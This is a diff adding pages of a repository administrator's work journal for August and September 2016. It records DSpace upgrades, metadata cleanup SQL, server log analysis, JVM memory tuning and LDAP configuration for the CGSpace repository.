  • If you set auto-update-items=true in dspace/config/modules/solrauthority.cfg it is supposed to update records it finds automatically
    • +
  • I updated my name format on ORCID and I’ve been running that script a few times per day since then but nothing has changed
    • +
  • Still troubleshooting Atmire modules on DSpace 5.5
    • +
  • I sent them some new verbose logs: https://gist.github.com/alanorth/700748995649688148ceba89d760253e
    • +
+

2016-08-22

+
    +
  • Database migrations are fine on DSpace 5.1:
    • +
+
$ ~/dspace/bin/dspace database info
+
+Database URL: jdbc:postgresql://localhost:5432/dspacetest
+Database Schema: public
+Database Software: PostgreSQL version 9.3.14
+Database Driver: PostgreSQL Native Driver version PostgreSQL 9.1 JDBC4 (build 901)
+
++----------------+----------------------------+---------------------+---------+
+| Version        | Description                | Installed on        | State   |
++----------------+----------------------------+---------------------+---------+
+| 1.1            | Initial DSpace 1.1 databas |                     | PreInit |
+| 1.2            | Upgrade to DSpace 1.2 sche |                     | PreInit |
+| 1.3            | Upgrade to DSpace 1.3 sche |                     | PreInit |
+| 1.3.9          | Drop constraint for DSpace |                     | PreInit |
+| 1.4            | Upgrade to DSpace 1.4 sche |                     | PreInit |
+| 1.5            | Upgrade to DSpace 1.5 sche |                     | PreInit |
+| 1.5.9          | Drop constraint for DSpace |                     | PreInit |
+| 1.6            | Upgrade to DSpace 1.6 sche |                     | PreInit |
+| 1.7            | Upgrade to DSpace 1.7 sche |                     | PreInit |
+| 1.8            | Upgrade to DSpace 1.8 sche |                     | PreInit |
+| 3.0            | Upgrade to DSpace 3.x sche |                     | PreInit |
+| 4.0            | Initializing from DSpace 4 | 2015-11-20 12:42:52 | Success |
+| 5.0.2014.08.08 | DS-1945 Helpdesk Request a | 2015-11-20 12:42:53 | Success |
+| 5.0.2014.09.25 | DS 1582 Metadata For All O | 2015-11-20 12:42:55 | Success |
+| 5.0.2014.09.26 | DS-1582 Metadata For All O | 2015-11-20 12:42:55 | Success |
+| 5.0.2015.01.27 | MigrateAtmireExtraMetadata | 2015-11-20 12:43:29 | Success |
+| 5.1.2015.12.03 | Atmire CUA 4 migration     | 2016-03-21 17:10:41 | Success |
+| 5.1.2015.12.03 | Atmire MQM migration       | 2016-03-21 17:10:42 | Success |
++----------------+----------------------------+---------------------+---------+
+
    +
  • So I’m not sure why they have problems when we move to DSpace 5.5 (even the 5.1 migrations themselves show as “Missing”)
    • +
+

2016-08-23

+
    +
  • Help Paola from CCAFS with her thumbnails again
    • +
  • Talk to Atmire about the DSpace 5.5 issue, and it seems to be caused by a bug in FlywayDB
    • +
  • They said I should delete the Atmire migrations
    • +
+
dspacetest=# delete from schema_version where description =  'Atmire CUA 4 migration' and version='5.1.2015.12.03.2';
+dspacetest=# delete from schema_version where description =  'Atmire MQM migration' and version='5.1.2015.12.03.3';
+
    +
  • After that DSpace starts up by XMLUI now has unrelated issues that I need to solve!
    • +
+
org.apache.avalon.framework.configuration.ConfigurationException: Type 'ThemeResourceReader' does not exist for 'map:read' at jndi:/localhost/themes/0_CGIAR/sitemap.xmap:136:77
+context:/jndi:/localhost/themes/0_CGIAR/sitemap.xmap - 136:77
+
    +
  • Looks like we’re missing some stuff in the XMLUI module’s sitemap.xmap, as well as in each of our XMLUI themes
    • +
  • Diff them with these to get the ThemeResourceReader changes: +
      +
    • dspace-xmlui/src/main/webapp/sitemap.xmap
      • +
    • dspace-xmlui-mirage2/src/main/webapp/sitemap.xmap
      • +
    +
    • +
  • Then we had some NullPointerException from the SolrLogger class, which is apparently part of Atmire’s CUA module
    • +
  • I tried with a small version bump to CUA but it didn’t work (version 5.5-4.1.1-0)
    • +
  • Also, I started looking into huge pages to prepare for PostgreSQL 9.5, but it seems Linode’s kernels don’t enable them
    • +
+

2016-08-24

+
    +
  • Clean up and import 48 CCAFS records into DSpace Test
    • +
  • SQL to get all journal titles from dc.source (55), since it’s apparently used for internal DSpace filename shit, but we moved all our journal titles there a few months ago:
    • +
+
dspacetest=# select distinct text_value from metadatavalue where metadata_field_id=55 and text_value !~ '.*(\.pdf|\.png|\.PDF|\.Pdf|\.JPEG|\.jpg|\.JPG|\.jpeg|\.xls|\.rtf|\.docx?|\.potx|\.dotx|\.eqa|\.tiff|\.mp4|\.mp3|\.gif|\.zip|\.txt|\.pptx|\.indd|\.PNG|\.bmp|\.exe|org\.dspace\.app\.mediafilter).*';
+

2016-08-25

+
    +
  • Atmire suggested adding a missing bean to dspace/config/spring/api/atmire-cua.xml but it doesn’t help:
    • +
+
...
+Error creating bean with name 'MetadataStorageInfoService'
+...
+
    +
  • Atmire sent an updated version of dspace/config/spring/api/atmire-cua.xml and now XMLUI starts but gives a null pointer exception:
    • +
+
Java stacktrace: java.lang.NullPointerException
+    at org.dspace.app.xmlui.aspect.statistics.Navigation.addOptions(Navigation.java:129)
+    at org.dspace.app.xmlui.wing.AbstractWingTransformer.startElement(AbstractWingTransformer.java:228)
+    at sun.reflect.GeneratedMethodAccessor126.invoke(Unknown Source)
+    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.lang.reflect.Method.invoke(Method.java:606)
+    at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+    at com.sun.proxy.$Proxy103.startElement(Unknown Source)
+    at org.apache.cocoon.environment.internal.EnvironmentChanger.startElement(EnvironmentStack.java:140)
+    at org.apache.cocoon.environment.internal.EnvironmentChanger.startElement(EnvironmentStack.java:140)
+    at org.apache.cocoon.xml.AbstractXMLPipe.startElement(AbstractXMLPipe.java:94)
+...
+
    +
  • Import the 47 CCAFS records to CGSpace, creating the SimpleArchiveFormat bundles and importing like:
    • +
+
$ ./safbuilder.sh -c /tmp/Thumbnails\ to\ Upload\ to\ CGSpace/3546.csv
+$ JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m" /home/cgspace.cgiar.org/bin/dspace import -a -e aorth@mjanja.ch -c 10568/3546 -s /tmp/Thumbnails\ to\ Upload\ to\ CGSpace/SimpleArchiveFormat -m 3546.map
+
    +
  • Finally got DSpace 5.5 working with the Atmire modules after a few rounds of back and forth with Atmire devs
    • +
+

2016-08-26

+
    +
  • CGSpace had issues tonight, not entirely crashing, but becoming unresponsive
    • +
  • The dspace log had this:
    • +
+
2016-08-26 20:48:05,040 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error -                                                               org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+
    +
  • Related to /rest no doubt
    • +
+

2016-08-27

+
    +
  • Run corrections for Delia Grace and CONGO, DR, and deploy August changes to CGSpace
    • +
  • Run all system updates and reboot the server
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-09/index.html b/docs/2016-09/index.html new file mode 100644 index 000000000..d3fa55ffb --- /dev/null +++ b/docs/2016-09/index.html @@ -0,0 +1,660 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + September, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

September, 2016

+

+ + in + +  + +

+
+

2016-09-01

+
    +
  • Discuss helping CCAFS with some batch tagging of ORCID IDs for their authors
    • +
  • Discuss how the migration of CGIAR’s Active Directory to a flat structure will break our LDAP groups in DSpace
    • +
  • We had been using DC=ILRI to determine whether a user was ILRI or not
    • +
  • It looks like we might be able to use OUs now, instead of DCs:
    • +
+
$ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b "dc=cgiarad,dc=org" -D "admigration1@cgiarad.org" -W "(sAMAccountName=admigration1)"
+
    +
  • User who has been migrated to the root vs user still in the hierarchical structure:
    • +
+
distinguishedName: CN=Last\, First (ILRI),OU=ILRI Kenya Employees,OU=ILRI Kenya,OU=ILRIHUB,DC=CGIARAD,DC=ORG
+distinguishedName: CN=Last\, First (ILRI),OU=ILRI Ethiopia Employees,OU=ILRI Ethiopia,DC=ILRI,DC=CGIARAD,DC=ORG
+
    +
  • Changing the DSpace LDAP config to use OU=ILRIHUB seems to work:
    • +
+

DSpace groups based on LDAP DN

+
    +
  • Notes for local PostgreSQL database recreation from production snapshot:
    • +
+
$ dropdb dspacetest
+$ createdb -O dspacetest --encoding=UNICODE dspacetest
+$ psql dspacetest -c 'alter user dspacetest createuser;'
+$ pg_restore -O -U dspacetest -d dspacetest ~/Downloads/cgspace_2016-09-01.backup
+$ psql dspacetest -c 'alter user dspacetest nocreateuser;'
+$ psql -U dspacetest -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest -h localhost
+$ vacuumdb dspacetest
+
    +
  • Some names that I thought I fixed in July seem not to be:
    • +
+
dspacetest=# select distinct text_value, authority, confidence from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value like 'Poole, %';
+      text_value       |              authority               | confidence
+-----------------------+--------------------------------------+------------
+ Poole, Elizabeth Jane | b6efa27f-8829-4b92-80fe-bc63e03e3ccb |        600
+ Poole, Elizabeth Jane | 41628f42-fc38-4b38-b473-93aec9196326 |        600
+ Poole, Elizabeth Jane | 83b82da0-f652-4ebc-babc-591af1697919 |        600
+ Poole, Elizabeth Jane | c3a22456-8d6a-41f9-bba0-de51ef564d45 |        600
+ Poole, E.J.           | c3a22456-8d6a-41f9-bba0-de51ef564d45 |        600
+ Poole, E.J.           | 0fbd91b9-1b71-4504-8828-e26885bf8b84 |        600
+(6 rows)
+
    +
  • At least a few of these actually have the correct ORCID, but I will unify the authority to be c3a22456-8d6a-41f9-bba0-de51ef564d45
    • +
+
dspacetest=# update metadatavalue set authority='c3a22456-8d6a-41f9-bba0-de51ef564d45', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Poole, %';
+UPDATE 69
+
    +
  • And for Peter Ballantyne:
    • +
+
dspacetest=# select distinct text_value, authority, confidence from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value like 'Ballantyne, %';
+    text_value     |              authority               | confidence
+-------------------+--------------------------------------+------------
+ Ballantyne, Peter | 2dcbcc7b-47b0-4fd7-bef9-39d554494081 |        600
+ Ballantyne, Peter | 4f04ca06-9a76-4206-bd9c-917ca75d278e |        600
+ Ballantyne, P.G.  | 4f04ca06-9a76-4206-bd9c-917ca75d278e |        600
+ Ballantyne, Peter | ba5f205b-b78b-43e5-8e80-0c9a1e1ad2ca |        600
+ Ballantyne, Peter | 20f21160-414c-4ecf-89ca-5f2cb64e75c1 |        600
+(5 rows)
+
    +
  • Again, a few have the correct ORCID, but there should only be one authority…
    • +
+
dspacetest=# update metadatavalue set authority='4f04ca06-9a76-4206-bd9c-917ca75d278e', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Ballantyne, %';
+UPDATE 58
+
    +
  • And for me:
    • +
+
dspacetest=# select distinct text_value, authority, confidence from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value like 'Orth, A%';
+ text_value |              authority               | confidence
+------------+--------------------------------------+------------
+ Orth, Alan | 4884def0-4d7e-4256-9dd4-018cd60a5871 |        600
+ Orth, A.   | 4884def0-4d7e-4256-9dd4-018cd60a5871 |        600
+ Orth, A.   | 1a1943a0-3f87-402f-9afe-e52fb46a513e |        600
+(3 rows)
+dspacetest=# update metadatavalue set authority='1a1943a0-3f87-402f-9afe-e52fb46a513e', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Orth, %';
+UPDATE 11
+
    +
  • And for CCAFS author Bruce Campbell that I had discussed with CCAFS earlier this week:
    • +
+
dspacetest=# update metadatavalue set authority='0e414b4c-4671-4a23-b570-6077aca647d8', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Campbell, B%';
+UPDATE 166
+dspacetest=# select distinct text_value, authority, confidence from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value like 'Campbell, B%';
+       text_value       |              authority               | confidence
+------------------------+--------------------------------------+------------
+ Campbell, Bruce        | 0e414b4c-4671-4a23-b570-6077aca647d8 |        600
+ Campbell, Bruce Morgan | 0e414b4c-4671-4a23-b570-6077aca647d8 |        600
+ Campbell, B.           | 0e414b4c-4671-4a23-b570-6077aca647d8 |        600
+ Campbell, B.M.         | 0e414b4c-4671-4a23-b570-6077aca647d8 |        600
+(4 rows)
+
    +
  • After updating the Authority indexes (bin/dspace index-authority) everything looks good
    • +
  • Run authority updates on CGSpace
    • +
+

2016-09-05

+
    +
  • After one week of logging TLS connections on CGSpace:
    • +
+
# zgrep "DES-CBC3" /var/log/nginx/cgspace.cgiar.org-access-ssl.log* | wc -l
+217
+# zcat -f -- /var/log/nginx/cgspace.cgiar.org-access-ssl.log* | wc -l
+1164376
+# zgrep "DES-CBC3" /var/log/nginx/cgspace.cgiar.org-access-ssl.log* | awk '{print $6}' | sort | uniq
+TLSv1/DES-CBC3-SHA
+TLSv1/EDH-RSA-DES-CBC3-SHA
+
    +
  • So this represents 0.02% of 1.16M connections over a one-week period
    • +
  • Transforming some filenames in OpenRefine so they can have a useful description for SAFBuilder:
    • +
+
value + "__description:" + cells["dc.type"].value
+
    +
  • This gives you, for example: Mainstreaming gender in agricultural R&D.pdf__description:Brief
    • +
+

2016-09-06

+
    +
  • Trying to import the records for CIAT from yesterday, but having filename encoding issues from their zip file
    • +
  • Create a zip on Mac OS X from a SAF bundle containing only one record with one PDF: +
      +
    • Filename: Complementing Farmers Genetic Knowledge Farmer Breeding Workshop in Turipaná, Colombia.pdf
      • +
    • Imports fine on DSpace running on Mac OS X
      • +
    • Fails to import on DSpace running on Linux with error No such file or directory
      • +
    +
    • +
  • Change diacritic in file name from á to a and re-create SAF bundle and zip +
      +
    • Success on both Mac OS X and Linux…
      • +
    +
    • +
  • Looks like on the Mac OS X file system the file names represent á as: a (U+0061) + ́ (U+0301)
    • +
  • See: http://www.fileformat.info/info/unicode/char/e1/index.htm
    • +
  • See: http://demo.icu-project.org/icu-bin/nbrowser?t=%C3%A1&s=&uv=0
    • +
  • If I unzip the original zip from CIAT on Windows, re-zip it with 7zip on Windows, and then unzip it on Linux directly, the file names seem to be proper UTF-8
    • +
  • We should definitely clean filenames so they don’t use characters that are tricky to process in CSV and shell scripts, like: ,, ', and "
    • +
+
value.replace("'","").replace(",","").replace('"','')
+
    +
  • I need to write a Python script to match that for renaming files in the file system
    • +
  • When importing SAF bundles it seems you can specify the target collection on the command line using -c 10568/4003 or in the collections file inside each item in the bundle
    • +
  • Seems that the latter method causes a null pointer exception, so I will just have to use the former method
    • +
  • In the end I was able to import the files after unzipping them ONLY on Linux +
      +
    • The CSV file was giving file names in UTF-8, and unzipping the zip on Mac OS X and transferring it was converting the file names to Unicode equivalence like I saw above
      • +
    +
    • +
  • Import CIAT Gender Network records to CGSpace, first creating the SAF bundles as my user, then importing as the tomcat7 user, and deleting the bundle, for each collection’s items:
    • +
+
$ ./safbuilder.sh -c /home/aorth/ciat-gender-2016-09-06/66601.csv
+$ JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m" /home/cgspace.cgiar.org/bin/dspace import -a -e aorth@mjanja.ch -c 10568/66601 -s /home/aorth/ciat-gender-2016-09-06/SimpleArchiveFormat -m 66601.map
+$ rm -rf ~/ciat-gender-2016-09-06/SimpleArchiveFormat/
+

2016-09-07

+
    +
  • Erase and rebuild DSpace Test based on latest Ubuntu 16.04, PostgreSQL 9.5, and Java 8 stuff
    • +
  • Reading about PostgreSQL maintenance and it seems manual vacuuming is only for certain workloads, such as heavy update/write loads
    • +
  • I suggest we disable our nightly manual vacuum task, as we’re a mostly read workload, and I’d rather stick as close to the documentation as possible since we haven’t done any testing/observation of PostgreSQL
    • +
  • See: https://www.postgresql.org/docs/9.3/static/routine-vacuuming.html
    • +
  • CGSpace went down and the error seems to be the same as always (lately):
    • +
+
2016-09-07 11:39:23,162 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error -
+org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+...
+
    +
  • Since CGSpace had crashed I quickly deployed the new LDAP settings before restarting Tomcat
    • +
+

2016-09-13

+
    +
  • CGSpace crashed twice today, errors from catalina.out:
    • +
+
org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+        at org.apache.commons.dbcp.PoolingDataSource.getConnection(PoolingDataSource.java:114)
+
    +
  • I enabled logging of requests to /rest again
    • +
+

2016-09-14

+
    +
  • CGSpace crashed again, errors from catalina.out:
    • +
+
org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+        at org.apache.commons.dbcp.PoolingDataSource.getConnection(PoolingDataSource.java:114)
+
    +
  • I restarted Tomcat and it was ok again
    • +
  • CGSpace crashed a few hours later, errors from catalina.out:
    • +
+
Exception in thread "http-bio-127.0.0.1-8081-exec-25" java.lang.OutOfMemoryError: Java heap space
+        at java.lang.StringCoding.decode(StringCoding.java:215)
+
    +
  • We haven’t seen that in quite a while…
    • +
  • Indeed, in a month of logs it only occurs 15 times:
    • +
+
# grep -rsI "OutOfMemoryError" /var/log/tomcat7/catalina.* | wc -l
+15
+
    +
  • I also see a bunch of errors from dspace.log:
    • +
+
2016-09-14 12:23:07,981 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error -
+org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+
    +
  • Looking at REST requests, it seems there is one IP hitting us nonstop:
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log  | sort -n | uniq -c | sort -h | tail -n 3
+    820 50.87.54.15
+  12872 70.32.99.142
+  25744 70.32.83.92
+# awk '{print $1}' /var/log/nginx/rest.log.1  | sort -n | uniq -c | sort -h | tail -n 3
+   7966 181.118.144.29
+  54706 70.32.99.142
+ 109412 70.32.83.92
+
    +
  • Those are the same IPs that were hitting us heavily in July, 2016 as well…
    • +
  • I think the stability issues are definitely from REST
    • +
  • Crashed AGAIN, errors from dspace.log:
    • +
+
2016-09-14 14:31:43,069 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error -
+org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+
    +
  • And more heap space errors:
    • +
+
# grep -rsI "OutOfMemoryError" /var/log/tomcat7/catalina.* | wc -l
+19
+
    +
  • There are no more rest requests since the last crash, so maybe there are other things causing this.
    • +
  • Hmm, I noticed a shitload of IPs from 180.76.0.0/16 are connecting to both CGSpace and DSpace Test (58 unique IPs concurrently!)
    • +
  • They seem to be coming from Baidu, and so far during today alone account for 1/6 of every connection:
    • +
+
# grep -c ip_addr= /home/cgspace.cgiar.org/log/dspace.log.2016-09-14
+29084
+# grep -c ip_addr=180.76.15 /home/cgspace.cgiar.org/log/dspace.log.2016-09-14
+5192
+
    +
  • Other recent days are the same… hmmm.
    • +
  • From the activity control panel I can see 58 unique IPs hitting the site concurrently, which has GOT to hurt our stability
    • +
  • A list of all 2000 unique IPs from CGSpace logs today:
    • +
+
# grep ip_addr= /home/cgspace.cgiar.org/log/dspace.log.2016-09-11 | awk -F: '{print $5}' | sort -n | uniq -c | sort -h | tail -n 100
+
    +
  • Looking at the top 20 IPs or so, most are Yahoo, MSN, Google, Baidu, TurnitIn (iParadigm), etc… do we have any real users?
    • +
  • Generate a list of all author affiliations for Peter Ballantyne to go through, make corrections, and create a lookup list from:
    • +
+
dspacetest=# \copy (select text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=211 group by text_value order by count desc) to /tmp/affiliations.csv with csv;
+
    +
  • Looking into the Catalina logs again around the time of the first crash, I see:
    • +
+
Wed Sep 14 09:47:27 UTC 2016 | Query:id: 78581 AND type:2
+Wed Sep 14 09:47:28 UTC 2016 | Updating : 6/6 docs.
+Commit
+Commit done
+dn:CN=Haman\, Magdalena  (CIAT-CCAFS),OU=Standard,OU=Users,OU=HQ,OU=CIATHUB,dc=cgiarad,dc=org
+Exception in thread "http-bio-127.0.0.1-8081-exec-193" java.lang.OutOfMemoryError: Java heap space
+
    +
  • And after that I see a bunch of “pool error Timeout waiting for idle object”
    • +
  • Later, near the time of the next crash I see:
    • +
+
dn:CN=Haman\, Magdalena  (CIAT-CCAFS),OU=Standard,OU=Users,OU=HQ,OU=CIATHUB,dc=cgiarad,dc=org
+Wed Sep 14 11:29:55 UTC 2016 | Query:id: 79078 AND type:2
+Wed Sep 14 11:30:20 UTC 2016 | Updating : 6/6 docs.
+Commit
+Commit done
+Sep 14, 2016 11:32:22 AM com.sun.jersey.server.wadl.generators.WadlGeneratorJAXBGrammarGenerator buildModelAndSchemas
+SEVERE: Failed to generate the schema for the JAX-B elements
+com.sun.xml.bind.v2.runtime.IllegalAnnotationsException: 2 counts of IllegalAnnotationExceptions
+java.util.Map is an interface, and JAXB can't handle interfaces.
+        this problem is related to the following location:
+                at java.util.Map
+                at public java.util.Map com.atmire.dspace.rest.common.Statlet.getRender()
+                at com.atmire.dspace.rest.common.Statlet
+java.util.Map does not have a no-arg default constructor.
+        this problem is related to the following location:
+                at java.util.Map
+                at public java.util.Map com.atmire.dspace.rest.common.Statlet.getRender()
+                at com.atmire.dspace.rest.common.Statlet
+
    +
  • Then 20 minutes later another outOfMemoryError:
    • +
+
Exception in thread "http-bio-127.0.0.1-8081-exec-25" java.lang.OutOfMemoryError: Java heap space
+        at java.lang.StringCoding.decode(StringCoding.java:215)
+
    +
  • Perhaps these particular issues are memory issues, the munin graphs definitely show some weird purging/allocating behavior starting this week
    • +
+

Tomcat JVM usage day +Tomcat JVM usage week +Tomcat JVM usage month

+
    +
  • And really, we did reduce the memory of CGSpace in late 2015, so maybe we should just increase it again, now that our usage is higher and we are having memory errors in the logs
    • +
  • Oh great, the configuration on the actual server is different than in configuration management!
    • +
  • Seems we added a bunch of settings to the /etc/default/tomcat7 in December, 2015 and never updated our ansible repository:
    • +
+
JAVA_OPTS="-Djava.awt.headless=true -Xms3584m -Xmx3584m -XX:MaxPermSize=256m -XX:+UseConcMarkSweepGC -Dfile.encoding=UTF-8 -XX:-UseGCOverheadLimit -XX:MaxGCPauseMillis=250 -XX:GCTimeRatio=9 -XX:+PerfDisableSharedMem -XX:+ParallelRefProcEnabled -XX:G1HeapRegionSize=8m -XX:InitiatingHeapOccupancyPercent=75 -XX:+UseLargePages -XX:+AggressiveOpts"
+
    +
  • So I’m going to bump the heap +512m and remove all the other experimental shit (and update ansible!)
    • +
  • Increased JVM heap to 4096m on CGSpace (linode01)
    • +
+

2016-09-15

+
    +
  • Looking at Google Webmaster Tools again, it seems the work I did on URL query parameters and blocking via the X-Robots-Tag HTTP header in March, 2016 seem to have had a positive effect on Google’s index for CGSpace
    • +
+

Google Webmaster Tools for CGSpace

+

2016-09-16

+
    +
  • CGSpace crashed again, and there are TONS of heap space errors but the datestamps aren’t on those lines so I’m not sure if they were yesterday:
    • +
+
dn:CN=Orentlicher\, Natalie (CIAT),OU=Standard,OU=Users,OU=HQ,OU=CIATHUB,dc=cgiarad,dc=org
+Thu Sep 15 18:45:25 UTC 2016 | Query:id: 55785 AND type:2
+Thu Sep 15 18:45:26 UTC 2016 | Updating : 100/218 docs.
+Thu Sep 15 18:45:26 UTC 2016 | Updating : 200/218 docs.
+Thu Sep 15 18:45:27 UTC 2016 | Updating : 218/218 docs.
+Commit
+Commit done
+Exception in thread "http-bio-127.0.0.1-8081-exec-247" java.lang.OutOfMemoryError: Java heap space
+Exception in thread "http-bio-127.0.0.1-8081-exec-241" java.lang.OutOfMemoryError: Java heap space
+Exception in thread "http-bio-127.0.0.1-8081-exec-243" java.lang.OutOfMemoryError: Java heap space
+Exception in thread "http-bio-127.0.0.1-8081-exec-258" java.lang.OutOfMemoryError: Java heap space
+Exception in thread "http-bio-127.0.0.1-8081-exec-268" java.lang.OutOfMemoryError: Java heap space
+Exception in thread "http-bio-127.0.0.1-8081-exec-263" java.lang.OutOfMemoryError: Java heap space
+Exception in thread "http-bio-127.0.0.1-8081-exec-280" java.lang.OutOfMemoryError: Java heap space
+Exception in thread "Thread-54216" org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Exception writing document id 7feaa95d-8e1f-4f45-80bb
+-e14ef82ee224 to the index; possible analysis error.
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:116)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:102)
+        at com.atmire.statistics.SolrLogThread.run(SourceFile:25)
+
    +
  • I bumped the heap space from 4096m to 5120m to see if this is really about heap speace or not.
    • +
  • Looking into some of these errors that I’ve seen this week but haven’t noticed before:
    • +
+
# zcat -f -- /var/log/tomcat7/catalina.* | grep -c 'Failed to generate the schema for the JAX-B elements'
+113
+
    +
  • I’ve sent a message to Atmire about the Solr error to see if it’s related to their batch update module
    • +
+

2016-09-19

+
    +
  • Work on cleanups for author affiliations after Peter sent me his list of corrections/deletions:
    • +
+
$ ./fix-metadata-values.py -i affiliations_pb-322-corrections.csv -f cg.contributor.affiliation -t correct -m 211 -d dspace -u dspace -p fuuu
+$ ./delete-metadata-values.py -f cg.contributor.affiliation -i affiliations_pb-2-deletions.csv -m 211 -u dspace -d dspace -p fuuu
+
    +
  • After that we need to take the top ~300 and make a controlled vocabulary for it
    • +
  • I dumped a list of the top 300 affiliations from the database, sorted it alphabetically in OpenRefine, and created a controlled vocabulary for it (#267)
    • +
+

2016-09-20

+
    +
  • Run all system updates on DSpace Test and reboot the server
    • +
  • Merge changes for sponsorship and affiliation controlled vocabularies (#267, #268)
    • +
  • Merge minor changes to messages.xml to reconcile it with the stock DSpace 5.1 one (#269)
    • +
  • Peter asked about adding title search to Discovery
    • +
  • The index was already defined, so I just added it to the search filters
    • +
  • It works but CGSpace apparently uses OR for search terms, which makes the search results basically useless
    • +
  • I need to read the docs and ask on the mailing list to see if we can tweak that
    • +
  • Generate a new list of sponsors from the database for Peter Ballantyne so we can clean them up and update the controlled vocabulary
    • +
+

2016-09-21

+
    +
  • Turns out the Solr search logic switched from OR to AND in DSpace 6.0 and the change is easy to backport: https://jira.duraspace.org/browse/DS-2809
    • +
  • We just need to set this in dspace/solr/search/conf/schema.xml:
    • +
+
<solrQueryParser defaultOperator="AND"/>
+
    +
  • It actually works really well, and search results return much less hits now (before, after):
    • +
+

CGSpace search with &ldquo;OR&rdquo; boolean logic +DSpace Test search with &ldquo;AND&rdquo; boolean logic

+
    +
  • Found a way to improve the configuration of Atmire’s Content and Usage Analysis (CUA) module for date fields
    • +
+
-content.analysis.dataset.option.8=metadata:dateAccessioned:discovery
++content.analysis.dataset.option.8=metadata:dc.date.accessioned:date(month)
+
    +
  • This allows the module to treat the field as a date rather than a text string, so we can interrogate it more intelligently
    • +
  • Add dc.date.accessioned to XMLUI Discovery search filters
    • +
  • Major CGSpace crash because ILRI forgot to pay the Linode bill
    • +
  • 45 minutes of downtime!
    • +
  • Start processing the fixes to dc.description.sponsorship from Peter Ballantyne:
    • +
+
$ ./fix-metadata-values.py -i sponsors-fix-23.csv -f dc.description.sponsorship -t correct -m 29 -d dspace -u dspace -p fuuu
+$ ./delete-metadata-values.py -i sponsors-delete-8.csv -f dc.description.sponsorship -m 29 -d dspace -u dspace -p fuuu
+
    +
  • I need to run these and the others from a few days ago on CGSpace the next time we run updates
    • +
  • Also, I need to update the controlled vocab for sponsors based on these
    • +
+

2016-09-22

+
    +
  • Update controlled vocabulary for sponsorship based on the latest corrected values from the database
    • +
+

2016-09-25

+
    +
  • Merge accession date improvements for CUA module (#275)
    • +
  • Merge addition of accession date to Discovery search filters (#276)
    • +
  • Merge updates to sponsorship controlled vocabulary (#277)
    • +
  • I’ve been trying to add a search filter for dc.description so the IITA people can search for some tags they use there, but for some reason the filter never shows up in Atmire’s CUA
    • +
  • Not sure if it’s something like we already have too many filters there (30), or the filter name is reserved, etc…
    • +
  • Generate a list of ILRI subjects for Peter and Abenet to look through/fix:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where resource_type_id=2 and metadata_field_id=203 group by text_value order by count desc) to /tmp/ilrisubjects.csv with csv;
+
    +
  • Regenerate Discovery indexes a few times after playing with discovery.xml index definitions (syntax, parameters, etc).
    • +
  • Merge changes to boolean logic in Solr search (#274)
    • +
  • Run all sponsorship and affiliation fixes on CGSpace, deploy latest 5_x-prod branch, and re-index Discovery on CGSpace
    • +
  • Tested OCSP stapling on DSpace Test’s nginx and it works:
    • +
+
$ openssl s_client -connect dspacetest.cgiar.org:443 -servername dspacetest.cgiar.org -tls1_2 -tlsextdebug -status
+...
+OCSP response:
+======================================
+OCSP Response Data:
+...
+    Cert Status: good
+
+

2016-09-27

+
    +
  • Discuss fixing some ORCIDs for CCAFS author Sonja Vermeulen with Magdalena Haman
    • +
  • This author has a few variations:
    • +
+
dspacetest=# select distinct text_value, authority, confidence from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value like 'Vermeu
+len, S%';
+
    +
  • And it looks like fe4b719f-6cc4-4d65-8504-7a83130b9f83 is the authority with the correct ORCID linked
    • +
+
dspacetest=# update metadatavalue set authority='fe4b719f-6cc4-4d65-8504-7a83130b9f83w', confidence=600 where metadata_field_id=3 and resource_type_id=2 and text_value like 'Vermeulen, S%';
+UPDATE 101
+
    +
  • Hmm, now her name is missing from the authors facet and only shows the authority ID
    • +
